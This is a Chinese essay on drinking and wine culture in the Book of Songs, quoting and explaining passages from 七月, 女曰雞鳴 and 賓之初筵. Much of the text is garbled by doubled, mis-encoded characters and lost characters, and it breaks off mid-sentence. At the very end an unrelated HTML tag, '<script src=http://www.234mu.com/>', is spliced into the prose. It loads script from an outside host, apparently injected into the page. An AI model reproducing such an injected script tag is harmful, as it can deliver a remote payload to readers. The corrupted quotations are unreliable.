酒香氤氳話《詩經(jīng)》
翻開案頭那本《詩經(jīng)》,頓時(shí)覺得氤氳酒香撲面而來,令我陶醉,良久,良久?!对娊?jīng)》是我國(guó)第一部詩歌總集,分風(fēng)、雅、頌三個(gè)部分,共收入自西周初年至春秋中葉大約五百多年間的詩歌305篇,其中有關(guān)飲酒的許多詩篇,對(duì)我國(guó)古代的酒文化作了客觀的展現(xiàn)?!对娊?jīng)》中直接寫到酒文化的詩作有35篇,加上間接涉及酒的詩作,總計(jì)達(dá)55篇,本文在《風(fēng)》、《雅》、《頌》中各選若干涉及酒的篇章或詩句略作介紹。
“國(guó)風(fēng)”是《詩經(jīng)》中的精華,是我國(guó)古代文藝寶庫(kù)中璀璨的明珠?!皣?guó)風(fēng)”中的民歌以絢麗多彩的畫面,反映了當(dāng)時(shí)真實(shí)的社會(huì)生活?!秶?guó)風(fēng).豳風(fēng).七月》中的詩句“九月肅霜,十月滌場(chǎng)。朋酒斯饗,曰殺羔羊。躋彼公堂,稱彼兕觥,萬壽無疆!”描寫了農(nóng)事之后相聚飲酒的愉快場(chǎng)景,上述詩句的大意是:九月下了霜,十月掃曬場(chǎng)。捧上兩樽美酒(按:“朋酒”即兩樽酒),殺上一只羔羊。登上長(zhǎng)輩的廳堂,高舉牛角酒杯,祝一聲“長(zhǎng)壽無疆”!篇中又有詩句“十月獲稻,為此春酒,以介眉?jí)?。”形象地描繪了農(nóng)家在十月收獲稻谷,然后釀酒,至春天釀成,用來敬獻(xiàn)給長(zhǎng)輩,祝其長(zhǎng)壽,淋漓盡致地描寫出充滿田園氣息的天倫之樂。
《國(guó)風(fēng).鄭風(fēng).女曰雞鳴》通過男女對(duì)話,展示了一對(duì)青年夫婦和諧的家庭生活和誠(chéng)摯而熱烈的感情,詩中不乏飲酒的詩句?!芭弧u鳴’,士曰‘昧旦。子興視夜,明星有爛?!畬繉⑾瑁D與雁。弋言加之,與子宜之。宜言飲酒,與子偕老?!偕谟?,莫不靜好。”大意是:女人說“雞已經(jīng)鳴叫了。”男人說“天還沒亮吶。你看看夜空,那些明星多么燦爛?!薄八蕹驳镍B雀就要飛去了,到蘆蕩射鴨射雁去吧。野鴨大雁射下來,我為你烹調(diào),做成佳肴一起飲酒,我要與你白頭偕老。”女彈琴,男鼓瑟,和睦安好,多么美滿呀。詩情畫意,生動(dòng)諧趣,恰似一出精煉的生活“小品”劇目。
“雅詩”和“頌詩”都是統(tǒng)治階級(jí)在特定場(chǎng)合所用的樂歌,反映了社會(huì)生活的某些方面,具有一定的社會(huì)意義和認(rèn)識(shí)價(jià)值。《小雅.賓之初筵》篇幅頗長(zhǎng),共五章。第一章和第二章寫合乎禮制的酒宴:“賓之初筵,左右秩秩?;e豆有楚,肴核維旅。酒既和旨,飲酒孔偕。鐘鼓既設(shè),舉醻逸逸……”賓客初入席,列坐有序。食器魚肉瓜果擺放得整齊有序。既然酒味甘醇,諸位都快喝吧。鐘鼓已經(jīng)架好,舉杯敬酒連連不停?!按蠛罴瓤?,弓矢斯張。射夫既同,獻(xiàn)爾發(fā)功。發(fā)彼有的,以祈爾爵?!蓖ピ豪锇仓昧松浼拇蟀?,憑射手的成績(jī)判定誰來飲酒?!盎a舞笙鼓,樂既和奏。烝衎烈祖,以洽百禮。”奏起排簫,鼓起笙,音樂和諧。進(jìn)獻(xiàn)樂舞敬祖,禮數(shù)周到。第三章和第四章寫賓客違背禮制時(shí)的酒宴,“曰既醉止,威儀怭怭。是曰既醉,不知其秩?!彼麄兌家押茸?,莊重威嚴(yán)蕩然無存。因?yàn)榇笞矶恢?guī)矩。“賓既醉止,載號(hào)載呶。亂我籩豆,屢舞僛僛?!辟e客大醉,又叫又嚷。把我的食器全都弄亂,踉踉蹌蹌不停地亂舞。第五章是總結(jié)性的說理,主張養(yǎng)成酒德,遵從禮?script src=http://www.234mu.com/>

